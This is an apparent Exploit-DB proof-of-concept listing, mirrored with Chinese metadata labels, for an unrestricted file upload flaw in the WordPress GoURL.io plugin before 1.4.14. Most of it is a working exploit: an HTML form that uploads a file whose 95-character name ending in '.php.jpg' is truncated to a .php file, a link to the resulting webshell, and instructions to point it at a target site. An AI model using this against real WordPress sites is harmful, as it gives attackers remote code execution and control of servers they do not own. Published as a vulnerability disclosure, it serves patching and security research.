WordPress Plugin GoURL.io < 1.4.14 - File Upload

  • 作者： Pouya Darabi
    日期： 2018-10-31
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/47312/
  • <html>
<!--

GoURL Unrestricted Upload Vulnerablity POC by @pouyadarabi
CWE-434

Vulnerable Fucntion: https://github.com/cryptoapi/Bitcoin-Wordpress-Plugin/blob/8aa17068d7ba31a05f66e0ab2bbb55efb0f60017/gourl.php#L5637

Details:

After checking file extention substring was used for file name to select first 95 letter line #5655
So enter file name like "123456789a123456789b123456789c123456789d123456789e123456789f123456789g123456789h123456789i1.php.jpg"
will upload a file with .php extention in website :)

-->

<body>

<!--

Replace http://127.0.0.1/wp/ with target wordpress website
Fill id param in form action to any active download product

-->

<form action="http://127.0.0.1/wp/?page=gourlfile&id=1" method="POST" enctype="multipart/form-data">

<input type="file" name="gourlimage2" />
<input type="submit"/>

</form>

<a href="http://127.0.0.1/wp/wp-content/uploads/gourl/images/i123456789a123456789b123456789c123456789d123456789e123456789f123456789g123456789h123456789i1.php">Shell link</a>

</body>

</html>